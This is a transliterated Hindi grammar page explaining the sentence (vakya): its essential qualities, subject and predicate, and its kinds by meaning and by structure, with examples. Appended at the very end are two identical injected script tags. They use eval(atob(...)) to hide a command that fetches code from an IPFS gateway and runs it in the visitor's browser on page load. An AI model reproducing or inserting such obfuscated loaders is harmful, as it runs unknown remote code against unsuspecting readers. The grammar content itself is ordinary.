वाक्य

sarthak shabdoan ka vyavasthit samooh jisase apekshit arth prakat ho, vaky kahalata hai.

vaky ka anivary tatv

vaky mean nimnalikhit chh: tatv anivary haian-

1. sarthakata
2. yogyata
3. akaanksha
4. nikatata
5. padakram
6. anvay

sarthakata

vaky ka kuchh n kuchh arth avashy hota hai. at: isamean sarthak shabdoan ka hi prayog hota hai.

yogyata

vaky mean prayukt shabdoan mean prasang ke anusar apekshit arth prakat karane ki yogyata hoti hai; jaise- 'chay khaee', yah vaky nahian hai kyoanki chay khaee nahian jati balki pi jati hai.

akaanksha

'akaanksha' ka arth hai 'ichchha', vaky apane ap mean poora hona chahie. usamean kisi aise shabd ki kami nahian honi chahie jisake karan arth ki abhivyakti mean adhoorapan lage. jaise patr likhata hai, is vaky mean kriya ke karta ko janane ki ichchha hogi. at: poorn vaky is prakar hoga- ram patr likhata hai.

nikatata

bolate tatha likhate samay vaky ke shabdoan mean paraspar nikatata ka hona bahut avashyak hai, rook-rook kar bole ya likhe ge shabd vaky nahian banate. at: vaky ke pad nirantar pravah mean pas-pas bole ya likhe jane chahie.

padakram

vaky mean padoan ka ek nishchit kram hona chahie. 'suhavani hai rat hoti chaandani' isamean padoan ka kram vyavasthit n hone se ise vaky nahian maneangean. ise is prakar hona chahie- 'chaandani rat suhavani hoti hai'.

anvay

anvay ka arth hai- mel. vaky mean liang, vachan, purush, kal, karak adi ka kriya ke sath thik-thik mel hona chahie; jaise- 'balak aur balikaean geean', isamean karta kriya anvay thik nahian hai. at: shuddh vaky hoga 'balak aur balikaean ge'.

vaky ke aang

vaky ke do aang hai:-

uddeshy

jisake bare mean kuchh bataya jata hai, use uddeshy kahate haian; jaise- anurag khelata hai. sachin dau data hai. in vakyoan mean 'anurag' aur 'sachin' ke vishay mean bataya gaya hai. at: ye uddeshy haian. isake aantargat karta aur karta ka vistar ata hai jaise- 'parishram karane vala vyakti sada saphal hota hai.' is vaky mean karta (vyakti) ka vistar 'parishram karane vala' hai.

vidhey

vaky ke jis bhag mean uddeshy ke bare mean jo kuchh kaha jata hai, use vidhey kahate haian; jaise- anurag khelata hai. is vaky mean 'khelata hai' vidhey hai. vidhey ke vistar ke aantargat vaky ke karta (uddeshy) ko alag karane ke bad vaky mean jo kuchh bhi shesh rah jata hai, vah vidhey kahalata hai, jaise- lanbe-lanbe baloan vali l daki abhi-abhi ek bachche ke sath dau date hue udhar gee'. is vaky mean 'abhi-abhi ek bachche ke sath dau date hue udhar gee' vidhey ka vistar hai tatha 'lanbe-lanbe baloan vali l daki' uddeshy ka vistar hai.

vaky ke bhed

vaky anek prakar ke ho sakate haian. unaka vibhajan ham do adharoan par kar sakate haian.

arth ke adhar par vaky ke bhed

arth ke adhar par vaky ke nimnalikhit ath bhed haian.

vidhanavachak

jin vakyoan mean kriya ke karane ya hone ki soochana mile, unhean vidhanavachak vaky kahate haian; jaise- maianne doodh piya. varsha ho rahi hai.

nishedhavachak

jin vakyoan se kary n hone ka bhav prakat hota hai, unhean nishedhavachak vaky kahate haian; jaise-maianne doodh nahian piya. maianne khana nahian khaya.

ajnavachak

jin vakyoan mean ajna, prarthana, upadesh adi ka jnan hota hai, unhean ajnavachak vaky kahate haian; jaise- bazar jakar phal le ao. b do ka samman karo.

prashnavachak

jin vakyoan se kisi prakar ka prashn poochhane ka jnan hota hai, unhean prashnavachak vaky kahate haian; jaise- sita tum kahaan se a rahi ho? tum kya padh rahe ho?

ichchhavachak

jin vakyoan se ichchha ashish evan shubhakamana adi ka jnan hota hai, unhean ichchhavachak vaky kahate haian; jaise- tumhara kalyan ho. bhagavan tumhean lanbi umar de.

sandehavachak

jin vakyoan se sandeh ya sanbhavana vyakt hoti hai, unhean sandehavachak vaky kahate haian; jaise-shayad sham ko varsha ho jae. vah a raha hoga, par hamean kya maloom. ho sakata hai rajesh a jae.

vismayavachak- jin vakyoan se ashchary, ghrina, krodh shok adi bhavoan ki abhivyakti hoti hai, unhean vismayavachak vaky kahate haian; jaise- vah-kitana suandar drishy hai. usake mata-pita donoan hi chal base. shabash tumane bahut achchha kam kiya.

sanketavachak

jin vakyoan mean ek kriya ka hona doosari kriya par nirbhar hota hai. unhean sanketavachak vaky kahate haian; jaise- yadi parishram karoge to avashy saphal hoge. pitaji abhi ate to achchha hota. agar varsha hogi to fasal bhi hogi.

rachana ke adhar par vaky ke bhed

rachana ke adhar par vaky ke nimnalikhit tin bhed hote haian-

saral vaky/sadharan vaky

jin vakyoan mean keval ek hi uddeshy aur ek hi vidhey hota hai, unhean saral vaky ya sadharan vaky kahate haian, in vakyoan mean ek hi kriya hoti hai; jaise- mukesh padhata hai. rakesh ne bhojan kiya.

sanyukt vaky

jin vakyoan mean do-ya do se adhik saral vaky samuchchayabodhak avyayoan se ju de hoan, unhean sanyukt vaky kahate hai; jaise- vah subah gaya aur sham ko laut aya. priy bolo par asaty nahian.

mishrit/mishr vaky

jin vakyoan mean ek mukhy ya pradhan vaky ho aur any ashrit upavaky hoan, unhean mishrit vaky kahate haian. inamean ek mukhy uddeshy aur mukhy vidhey ke alava ek se adhik samapika kriyaean hoti haian, jaise- jyoan hi usane dava pi, vah so gaya. yadi parishram karoge to, uttirn ho jaoge. maian janata hooan ki tumhare akshar achchhe nahian banate.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>